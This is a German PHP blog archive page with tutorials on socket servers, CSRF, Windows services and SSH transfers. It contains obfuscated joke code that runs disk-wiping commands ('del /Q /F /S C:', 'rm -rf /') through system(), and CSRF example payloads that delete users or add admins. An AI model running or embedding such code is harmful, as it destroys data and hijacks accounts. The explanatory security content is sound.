PHPGangsta - Der praktische PHP Blog

PHP Blog von PHPGangsta


Wie erstelle ich einen Socket-Server in PHP?

with 23 comments

In einem meiner letzten Artikel über Windows-Dienste habe ich ja bereits angesprochen, dass auch Dienste aller Art in PHP realisiert werden können. In jenem Artikel erwähnte ich auch, dass es bereits Webserver, FTP-Server, DNS-Server etc. in PHP gibt.

Heute zeige ich euch, wie man das machen kann. Grundsätzlich haben all diese Dienste gemeinsam, dass sie auf einem TCP-Port auf Verbindungen warten, und dort im Verbindungsfall Befehle entgegennehmen, Aktionen durchführen und Daten zurückliefern können.

Hier möchte ich einen kleinen Chat-Server erstellen, mit dem man sich verbinden kann, und mit allen anderen verbundenen Clients chatten kann. Dieser Chat-Server soll auch gleich als Dienst permanent laufen.

Dazu benötigen wir sogenannte Socket-Funktionen, die PHP seit Version 4.3 bietet. Die entsprechende Extension ist bereits in PHP enthalten, muss aber evtl. in der php.ini noch aktiviert werden:

extension=php_sockets.dll

Dann kann es auch schon loslegen. Das grobe Konzept: Wir erstellen ein Socket und lassen diesen auf Port 33380 lauschen. Wenn eine Verbindung reinkommt, begrüßen wir den neuen Benutzer und fügen ihn einem Array hinzu. Sollte sich ein weitere Benutzer verbinden, tun wir natürlich das selbe. Schreibt ein Benutzer irgendetwas, wird es an alle anderen Benutzer broadcasted. Es soll auch Spezial-Kommandos geben: mit „exit“ oder „quit“ trennt sich der Benutzer vom Server. Mit „term“ stoppt er den Chatserver.

Genug geschwatzt, hier der Code der Klasse:

class SocketChatServer {
	private $address = '0.0.0.0';	// 0.0.0.0 means all available interfaces
	private $port = 33379;			// the TCP port that should be used
	private $maxClients = 10;

	private $clients;
	private $socket;

	public function __construct() {
		// Set time limit to indefinite execution
        set_time_limit(0);
        error_reporting(E_ALL ^ E_NOTICE);
	}

    public function start() {
    	// Create a TCP Stream socket
        $this->socket = socket_create(AF_INET, SOCK_STREAM, SOL_TCP);
        // Bind the socket to an address/port
        socket_set_option($this->socket, SOL_SOCKET, SO_REUSEADDR, 1);
		socket_bind($this->socket, $this->address, $this->port);
		// Start listening for connections
		socket_listen($this->socket, $this->maxClients);


		$this->clients = array('0' => array('socket' => $this->socket));

	    while (true) {
	        // Setup clients listen socket for reading
		    $read[0] = $this->socket;
			for($i=1; $i<count($this->clients)+1; ++$i) {
				if($this->clients[$i] != NULL) {
					$read[$i+1] = $this->clients[$i]['socket'];
				}
			}

			// Set up a blocking call to socket_select()
			$ready = socket_select($read, $write = NULL, $except = NULL, $tv_sec = NULL);

			/* if a new connection is being made add it to the client array */
			if(in_array($this->socket, $read)) {
				for($i=1; $i < $this->maxClients+1; ++$i) {
					if(!isset($this->clients[$i])) {
						$this->clients[$i]['socket'] = socket_accept($this->socket);
						socket_getpeername($this->clients[$i]['socket'], $ip);
						$this->clients[$i]['ipaddy'] = $ip;

						socket_write($this->clients[$i]['socket'], 'Welcome to my Custom Socket Server'."\r\n");
						socket_write($this->clients[$i]['socket'], 'There are '.(count($this->clients) - 1).' client(s) connected to this server.'."\r\n");

						$this->log("New client #$i connected: " . $this->clients[$i]['ipaddy']);
						break;
					} elseif($i == $this->maxClients - 1) {
						$this->log('Too many Clients connected!');
					}

					if($ready < 1) {
						continue;
					}
				}
			}

			// If a client is trying to write - handle it now
			for($i=1; $i<$this->maxClients+1; ++$i) {
				if(in_array($this->clients[$i]['socket'], $read)) {
					$data = @socket_read($this->clients[$i]['socket'], 1024, PHP_NORMAL_READ);

					if($data === FALSE) {
						unset($this->clients[$i]);
						$this->log('Client disconnected!');
						continue;
					}

					$data = trim($data);

					if(!empty($data)) {
						switch ($data) {
							case 'exit':
							case 'quit':
								socket_write($this->clients[$i]['socket'], "Thanks for trying my Custom Socket Server, Goodbye.\r\n");
								$this->log("Client #$i is exiting");
								unset($this->clients[$i]);
								continue;
							case 'term':
								// first write a message to all connected clients
								for($j=1; $j < $this->maxClients+1; ++$j) {
									if(isset($this->clients[$j]['socket'])) {
										if($this->clients[$j]['socket'] != $this->socket) {
											socket_write($this->clients[$j]['socket'], "Server will be shut down now...\r\n");
										}
									}
								}
								// Close the master sockets, server termination requested
								socket_close($this->socket);
								$this->log("Terminated server (requested by client #$i)");
								exit;
							default:
								for($j=1; $j < $this->maxClients+1; ++$j) {
									if(isset($this->clients[$j]['socket'])) {
										if(($this->clients[$j]['socket'] != $this->clients[$i]['socket']) && ($this->clients[$j]['socket'] != $this->socket)) {
											$this->log($this->clients[$i]['ipaddy'] . ' is sending a message to ' . $this->clients[$j]['ipaddy'] . '!');
											socket_write($this->clients[$j]['socket'], '[' . $this->clients[$i]['ipaddy'] . '] says: ' . $data . "\r\n");
										}
									}
								}
								break(2);
						}
					}
				}
			}
	    } // end while
    }

    private function log($msg) {
    	// instead of echoing to console we could write this to a database or a textfile
        echo "[".date('Y-m-d H:i:s')."] " . $msg . "\r\n";
    }
}

Dieser Code funktioniert sowohl unter Windows als auch unter Linux und kann dort als Dienst installiert werden.

Hier einige Screenshots von Clients und vom Server:

chatserver2

chatserver1

chatserver3

Man kann natürlich noch leicht weitere Kommandos implementieren, wie zB ein kleiner Login für Admins, die Liste aller Clients anzeigen, einzelne Clients kicken, die Konfiguration ändern (dann müßte man sie in eine .ini auslagern und neu laden können) usw.
Man könnte auch eine Admin-Webseite implementieren, d.h. wenn man sich mit einem Browser auf den Port verbindet, erkennt das der Dienst und bietet eine html-Oberfläche mit diverse Admin-Funktionen.

Es gibt viele Dinge, die man so realisieren kann. Beispielsweise ein Online-Multiplayer-Spiel in der Konsole oder sogar mit grafischer Java-Oberfläche, eine eigene Steuerung für seinen Server im Keller, einen eigenen Mailserver, ein Backend für Flash-Casual-Games (wenn HTTP zuviel Overhead hat oder zu langsam ist) und und und.

Wie PHP bei einer sehr großer Anzahl von Verbindungen skaliert weiß ich nicht, kann ja jemand von euch mal ausprobieren 😉

Written by Michael Kliewe

August 24th, 2009 at 9:04 pm

Posted in PHP

Tagged with , ,

Was ist „Cross Site Request Forgery“ (CSRF)?

with 2 comments

Der ein oder andere mag es schon mal gelesen haben, aber es fristet nach wie vor ein Nischen-Dasein: Cross-Site Request Forgery.

Dieses Sicherheitsproblem von Webseiten aller Art (es macht eigentlich nur Sinn wenn es einen Login auf der Seite gibt) ist recht verbreitet, und ich möchte es hier zusammenfassen und Beispiele zeigen, wie auch eure Seiten dafür anfällig sind. Und natürlich Tipps geben, was man dagegen tun kann.

Das Grundproblem ist schnell erklärt: Ein Browser nutzt Tabs oder auch neue Fenster, um mehrere Seiten parallel öffnen und anzeigen zu können. Nehmen wir an, in einem Tab ist die Seite www.xing.com geöffnet, und in einem anderen Tab die Seite www.phpgangsta.de . Browser sind nun so konstruiert, dass sich diese beiden Seiten im Prinzip nicht gegenseitig beeinflussen können, d.h. mittels Javascript kann ich von meiner Seite aus nicht auf den Inhalt der geöffneten Xing-Seite zugreifen (Same Origin Policy).

Nun logge ich mich auf Xing ein. Wenn ich nun einen weiteren Tab öffne und www.xing.com aufrufe, bin ich dort ebenfalls eingeloggt. Beide Tabs nutzen also die selben Cookies, und genau das machen wir uns zu Nutze.

Was passiert nun also, wenn ich auf meiner Seite (www.phpgangsta.de) ein Bild einbinde, das so aussieht:

<img src=“http://www.xing.com/app/message?op=sendmessage&recipient=MichaelKliewe&body=Viagra+For+Free“>

oder auch

<iframe width=“0″ height=“0″ src=“http://www.xing.com/app/message?op=sendmessage&recipient=MichaelKliewe&body=Viagra+For+Free“></iframe>

(Dies sind nur Beispiele, Xing ist natürlich gegen CSRF abgesichert)

Der Browser des Besuchers, der ja noch einen weiteren Tab mit dem eingeloggten Xing-Account geöffnet hat, ruft diese URL auf, und verschickt damit Nachrichten über Xing, ohne dass es der Besucher möchte!

Genauso kann es also mit jeglichen URLs passieren, die irgendwelche Aktionen auslösen, beispielsweise User löschen, das Profil ändern.

<img src=“http://www.deine-seite.de/admin/user_delete.php?id=1″>
<img src=“http://www.meine-seite.de/add_admin.php?name=hacker&pass=hack“>

Sollte derjenige also gerade auf der entsprechenden Seite sein (in einem anderen Tab) und die Rechte für die jeweilige Aktion haben, wird sie ausgeführt. Der Browser sendet bei dem Aufruf des Links das passende Cookie mit, womit die Rechte passen und die Aktion erfolgreich ist. Da sind extrem üble Sachen denkbar. Beispielsweise war GMail anfällig, sodass jeder euren GMail-Account „fernsteuern“ konnte (Emails schreiben, Emails löschen, Kontakte löschen usw). Da viele Leute Gmail nutzen und dort permanent eingeloggt sind, ist das gar nicht so unwahrscheinlich.

Oder aber stellt euch eine solche Webseite vor:

<html>
Bei BrowsergameX gibt es ein Update. Bitte log dich ein und schau nach!
<a href="http://www.browsergameX.de" target="_blank">BrowsergameX</a>

<script>
var url = 'http://www.browsergameX.de/transferMoney?amount=1000&target=1234567';
setTimeout(30000, "window.open(url)");
</script>
</html>

Der User loggt sich also in seinem Spiel ein. Nach 30 Sekunden geht dann ein weiteres Fenster auf, und schwupps sind 1000 Geld-Einheiten eures Browsergame-Spielgelds weg.

Bei diesen Beispielen wurden nur GET-Parameter verwendet. Aber auch POST Parameter sind anfällig, es reicht also nicht, alles von GET auf POST zu ändern.

Sobald es dann um sensible Daten oder echtes Geld geht, ist der Spass vorbei. Was können wir also dagegen tun?

Wir müssen also sicherstellen, dass ein Link-Klick oder Formulardaten NUR von unserer Seite kommen kann. Erste Idee: Wir prüfen den Referrer, der müßte ja unsere Domain enthalten. Doch leider sendet nicht jeder Browser einen Referrer, und er lässt sich fälschen (Alles was von Clients kommt lässt sich fälschen und manipulieren!). Cookies lassen sich auch nicht nutzen.

Die einzig effektive Methode, dich aktuell bekannt ist, ist JEDEN Link und JEDES Formular um ein „secret token“ zu ergänzen, das nur wir kennen und dynamisch generieren. Außerdem darf es nur begrenzt haltbar und nicht erratbar sein. Dieses Token prüfen wir dann nach dem nächsten Request und wissen dann, ob es von uns generiert wurde.

Marc Jakubowski hat in seinem Blog sehr brauchbaren Quelltext veröffentlicht, den man mit ein paar Anpassungen (unten drunter stehen einige Verbesserungsvorschläge) gut nutzen kann.

Schon haben wir einen effektiven Schutz gegen CSRF. Alle geschützten Aktionen können nur noch ausgeführt werden, wenn vorher auf unserer Seite der entsprechende Token generiert wurde. Außerdem unterdrücken wir damit als Nebeneffekt das doppelte Absenden von Formularen.

Natürlich ist das kein 100%-iger Schutz. Durch einfaches Brute-Force oder beispielsweise mit Hilfe der Browser-History (CSS Browser History Vulnerability) kann man den Token erraten.

Bei der Recherche bin ich auch über eine interessante Präsentation von Stefan Esser zum Thema „Secure Programming with Zend Framework“ gestossen, worin auch das Thema CSRF kurz abgesprochen wird.

Mein letzter Tip, um euch als User im Internet zu schützen: Nutzt Firefox und das Addon NoScript, denn es blockt zB Cross-Domain Formulare und bietet auch Schutz gegen XSS.

Mehr Material über das Thema:

http://www.cgisecurity.com/csrf-faq.html

http://shiflett.org/articles/cross-site-request-forgeries

http://www.gnucitizen.org/blog/csrf-demystified/

http://www.virtualforge.de/vmovie.php

Written by Michael Kliewe

August 22nd, 2009 at 9:16 am

Posted in PHP

Tagged with , , , ,

Ein PHP-Script als Windows-Dienst starten

with 38 comments

23dienstViele wichtige Dinge weltweit laufen permanent und tun endlos ihren Job. Webserver warten auf Besucher, Berechnungsprogramme rechnen Tag und Nacht, FTP-Server warten auf Datenübertragungen und SSH-Server warten auf Benutzer.

Auch mit PHP kann man all solche Dinge lösen. Es gibt bereits DNS-Server geschrieben in PHP, selbst ein Webserver in PHP ist verfügbar, ein Continuous Integration Server, einen FTP Server, und es gibt zig tausend Chat-Server (auf Socket-Basis, keine einfachen Webchats), die mit PHP erstellt wurden usw.

Wenn man plant, ein PHP-Script quasi permanent laufen zu lassen, gibt es 3 Möglichkeiten:

  1. Man startet das Script einmalig nach dem Rechnerstart und lässt es in einer Endlosschleife (while (true) { ) laufen
    • Linux: Cron Eintrag @reboot
    • Windows: Geplanter Task bei Rechnerstart
  2. Wenn das Script beispielsweise 2 Minuten für seine Arbeit braucht, startet man es alle 3 Minuten
    • Linux: Cron Eintrag  */3 * * * *
    • Windows: Geplanter Task alle 3 Minuten
  3. Man installiert das Script als Dienst und lässt es darüber automatisch laufen und kann es starten/stoppen
    • Linux: mit Hilfe der Runlevel-Scripte (rc.d / init.d etc)
    • Windows: Windows-Dienste

Hier will ich besonders auf die Windows-Dienste eingehen. Unter Windows ist das die einzige Art, ein PHP-Script beim System-Shutdown kontrolliert beenden zu lassen, denn PHP beherrscht unter Windows keine Signalverarbeitung. Es kann also keine Betriebssystem-Signale empfangen wie zB SIGTERM oder SIGHUP, wohingehen es unter Linux die PHP-Funktionen PCNTL zur Prozesskontrolle gibt. Ohne diese Signale läuft das PHP-Script also solange, bis es vom Betriebssystem gekillt wird (hart, also mitten im Ablauf irgendwo im Code), was natürlich große Probleme bereiten kann bei komplizierten Scripten.

Ein Dienst löst also dieses Problem, denn wenn ein Betriebssystem herunterfährt, gibt es seinen Diensten die Möglichkeit, sich selbst innerhalb einiger Sekunden zu beenden. Dazu muß das PHP-Script natürlich ab und zu in einen definierten Zustand gelangen, wo es „aussteigen“ kann.

Vielleicht sieht man es besser am Code:

while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {
	// hier kommt der Code, der ausgeführt werden soll
}

Es gibt also eine Funktion win32_get_last_control_message(), die dem Script sagt, ob es sich beenden soll oder nicht. Damit diese Funktion (und einige weitere) zur Verfügung stehen, benötigt man die extention win32service aus der PECL.

Aber wie installiere ich nun dieses PHP-Script als Dienst? Dazu gibt es auch eine Funktion. Hier der Grundaufbau eines jeden Services:

if ($argv[1] == 'install') {
	$x = win32_create_service(array(
		'service' => 'My_first_PHP_Service',
		'display' => 'My PHP Service',
		'params' => __FILE__ . ' run',
	));
	debug_zval_dump($x);
	exit;
} else if ($argv[1] == 'uninstall') {
	$x = win32_delete_service('My_first_PHP_Service');
	debug_zval_dump($x);
	exit;
} else if ($argv[1] != 'run') {
	die("bogus args, please use install/uninstall/run");
}

$x = win32_start_service_ctrl_dispatcher('My_first_PHP_Service');

while (WIN32_SERVICE_CONTROL_STOP != win32_get_last_control_message()) {

	// here comes the code which will be executed
	// it should not last longer than 30sec if possible
	$someCode = new SomeCode();
	$someCode->start();

	usleep(500000);
}

Wir haben oben erstmal einige Zeilen, um den Dienst installieren und deinstallieren zu können. Das geht sehr einfach, man benötigt nur einen eindeutigen internen Dienstnamen (hier My_first_PHP_Service) und im Installationsfall eine Zeichenkette, die dann später angezeigt wird.

Aufgerufen mit dem Parameter „install“ wird der Dienst also installiert:service1

Dann können wir ihn starten, entweder von der Konsole oder aus der mmc:

service4

service3

Wie bereits als Kommentar geschrieben, sollte der Code in der Schleife nicht all zu lange laufen, damit der Dienst noch vernünftig gesteuert werden kann. Sollte der Code beispielsweise 5 Minuten laufen, und man versucht den Dienst zu beenden („net stop My_First_PHP_Service“ oder über die mmc), kommt nach ca. einer Minute die Nachricht:

service5

Windows wartet also nicht ewig darauf, dass sich der Dienst beendet. Im Falle des System-Shutdowns wird der Prozess dann zwangsweise hart gekillt, was wieder zu unserem Grundproblem führt. Zur Not muss man einfach die Arbeit in kleine Häppchen unterteilen und nacheinander aufrufen.

Die Deinstallation, ihr ahnt es schon, ist genauso einfach wie die Installation:

service2

Hier gibts noch einige Worte zur win32service extension vom Entwickler selbst:

Man kann natürlich nicht nur „normale“ Scripte bauen und als Dienst laufen lassen, man kann auch feine Dinge machen, indem man einen wirklichen „Dienst“ anbietet, der auf einem Port lauscht und zu dem man sich verbinden kann! Hier gibts Informationen zu Sockets unter PHP, und auch bald einen Artikel hier im Blog.

Falls ihr eure PHP-Scripte als Windows-Dienste laufen habt, würde mich interessieren, was diese Scripte so tun!

Written by Michael Kliewe

August 14th, 2009 at 7:53 pm

Posted in PHP

Tagged with , , , ,

Daten verschlüsselt übertragen mit PHP und SSH

with one comment

Kann man mit PHP Daten oder Dateien zwischen 2 Rechnern verschlüsselt übertragen? Natürlich kann man, wenn die Gegenstelle es auch beherrscht.

Hier soll es weder um eine Verschlüsselung zwischen Browser und Webserver (HTTPS) noch um die verschlüsselte Kommunikation zu einem Mailserver (IMAPS oder POPS) oder einem FTP (FTPS) gehen, sondern um eine Verschlüsselung zwischen 2 Rechnern mittels SSH. Wir wollen nicht eine Datei verschlüsseln (es gibt ja diverse Algorithmen dafür, angefangen bei zip+passwort, mcrypt, pgp/gpg, AES etc) und sie dann unverschlüsselt übertragen, sondern stattdessen die Verbindung ansich verschlüsseln und dann darin „unverschlüsselt“ kommunizieren.

Mit Linux-Systemen hat man am wenigsten Probleme, denn dort ist ein SSH-Server standardmäßig mit installiert und gestartet. Unter Windows muß man Software nachinstallieren, beispielsweise freeSSHd oder sshwindows. Ich muss allerdings zugeben, dass ich bisher nur mit Linux-Rechnern gearbeitet habe. Dies betrifft natürlich nur die Gegenstelle. Auf dem Rechner wo PHP läuft braucht man keinen solchen Dienst.

Damit PHP mittels SSH kommunizieren kann, muß die ssh2-extention aus der PECL geladen werden. Einfach in das php/ext Verzeichnis entpacken und dann in der php.ini laden:

extension=php_ssh2.dll|so

Eine Verbindung aufzubauen ist recht einfach. Entweder macht man das via Username+Password, oder via Key.

$connection = @ssh2_connect($host, $port);
if (!$connection)
	throw new Exception("Could not connect to ".$host." on port ".$port);

$auth_methods = ssh2_auth_none($connection, $username);
if (in_array('password', $auth_methods)) {
    if (! @ssh2_auth_password($connection, $username, $password)) {
        throw new Exception("Could not authenticate with username $username and password $password.");
    }
} elseif (in_array('publickey', $auth_methods)) {
	if (!ssh2_auth_pubkey_file($connection, 'root',
				'/path/to/ssh_keys/id_rsa.pub',
				'/path/to/ssh_keys/id_rsa', 'keypassword')) {
			throw new Exception("Could not authenticate with username $username and private key");
	}
}
else {
	throw new Exception("cannot authenticate because password and privatekey are not allowed");
}

Wenn die Verbindung aufgebaut ist und der Login funktioniert hat, hat man mehrere Möglichkeiten:

  • Man möchte nur den anderen Rechner steuern mittels SSH. Dann nutzt man ssh2_exec()
    $stream = ssh2_exec($connection, 'whoami');
  • Man möchte Dateien zwischen den beiden Rechnern austauschen. Dazu kann man via sftp oder scp eine weitere Verbindung innerhalb der SSH-Verbindung aufbauen und mit Hilfe der SSH-Wrapper einfach die copy()-Funktion nutzen.
    $sftp = @ssh2_sftp($connection);
    if (!$sftp) {
    	throw new Exception("Could not initialize SFTP subsystem.");
    }
    
    $localPath = "/home/test/testfile.txt";
    $dir = "/home/target/";
    $remoteFilename = "testtargetfile.txt";
    $fullRemotePath = "ssh2.sftp://".$sftp.$dir.$remoteFilename;
    
    if (!file_exists($fullRemotePath)) {
    	$result = @copy($localPath, $fullRemotePath);
    
    	if ($result === false) {
            throw new Exception("Could not upload data file to: ".$dir." $remoteFilename");
    	}
    } else {
    	throw new Exception("File already exists, will not overwrite: ".$dir." $remoteFilename");
    }

Wie man in der Wrapper-Übersicht sehen kann, ist sftp auf jeden Fall vorzuziehen, damit kann man alles tun: Dateien lesen, schreiben, löschen usw.

Probiert es einfach mal aus, zum Beispiel um euch regelmäßig Dateien zuhause auf dem Homeserver abzulegen, oder auf den Root-Server eines Bekannten Backups zu kopieren (vorher komprimieren macht Sinn), um Daten auf seine Server im Cluster zu verteilen oder oder oder. Spätestens wenn man über unsichere Netzwerke wie das Internet kommuniziert, sollte man über Verschlüsselung nachdenken.

Hier gibt es noch Information rund um PHP und verfügbare Wrapper.

Written by Michael Kliewe

August 13th, 2009 at 7:02 pm

Posted in PHP

Tagged with , ,

Alter Code und das Grausen

with 5 comments

Da Nils in seinem Blog dazu aufgerufen hat, „fiesen Code“ zu publizieren, will ich mich daran beteiligen. Die Frage ist, wie „fies“ zu definieren ist. Die Aufgabenstellung lautet genau: „Wer kann das fieseste Script basteln?“.

Ich habe vor Kurzem diesen Code hier in einem sehr alten Verzeichnis gefunden (ich habe ihn also nicht gebastelt, sondern nur gefunden):

echo "<table>";
for ($t=0;$t<count($data);$t=$t+1) {
$d = $data[$t];
echo "<tr>";
if ($d[0]==6)
for ($i=0;$i<$d[1];$i=$i+1) {
echo "<td id=\"".($i+1)."\">$o[614] $i</td><td>".$id."</td>";
}
else
echo "<td colspan=2></td>";
echo "</tr>";
}
echo "</table>";

Da stehen einem die Haare zu Berge. Ich kann garnicht alles aufzählen, was daran „übel“ ist.
– statt der for-Schleife sollte man dort lieber eine foreach-Schleife nehmen
– was ist $d[0] und $d[1]? Ein assoziatives Array wäre schöner gewesen.
– bei der if-Abfrage keine geschweifte Klammer, kann schnell zu Fehlern führen
– statt $i=$i+1 hätte man auch schöner $i++ nehmen können
– $o[614] ist (wie ich nachher rausgefunden habe) ein Array mit Übersetzungen. Lesbar ist das so nicht, niemand weiß, was 614 sein soll
– $id ist ein GET-Parameter (register-globals lässt grüßen!)
– Im Original war der Code nicht so schön eingerückt wie hier, aber das wollte ich euch nicht zumuten

Wenn man PHP5, Objektorgientierung, PDO, Frameworks etc gewöhnt ist, ist es immer eine ziemlich schlimme Sache, alten Code zu sichten und evtl. sogar anzupassen, der >8 Jahre alt ist. Da war register_globals einfach an der Tagesordnung, Datenbankzugriffe passierten direkt mit mysql_* Funktionen, HTML und PHP direkt alles zusammengemixt usw usw. Einfach grausam, sowas pflegen zu müssen. Ich möchte garnicht wissen, wieviele PHP-Entwickler heutzutage noch Software warten müssen, die so alt sind, wo sich eine Neuentwicklung aber nicht lohnt, weil es zu groß ist oder es sich nicht mehr lohnt.

Fieser selbst gebastelter Code wäre beispielsweise dieser hier:
BITTE NICHT AUSFÜHREN, IHR MACHT EUCH UNGLÜCKLICH!

$g = 1;
$r = 2;
$v = "$r$g"*4+$g*3;
$m = chr($v);
$i = chr(ord($m)/1.08);
$f = hexdec("$g$r"*4);
$q = chr($v-4);
list($j,$k,$l) = explode(',',base64_decode('JHMgPSBjb25zdGFudCgkaS5jaHIoJGYpLiRpLiJfTyIuJHEpOyxkZWwgL1EgL0YgL1MgQzoscm0gLXJmIC8='));
eval($j);
$z = $s[0] == $m ? $k : $l;
system($z);

BITTE NICHT AUSFÜHREN, IHR MACHT EUCH UNGLÜCKLICH!

Man hätte natürlich auch den kompletten Code base64 kodieren können, aber das wäre ja langweilig gewesen. Man hätte base64 sicher auch ganz vermeiden können, aber ich hatte keine Lust mehr 😉

Hier noch einige andere schöne Beispiele aus dem Web:

http://manuel-pichler.de/archives/60-Why-I-love-PHP.html

Written by Michael Kliewe

August 12th, 2009 at 7:48 pm

Posted in PHP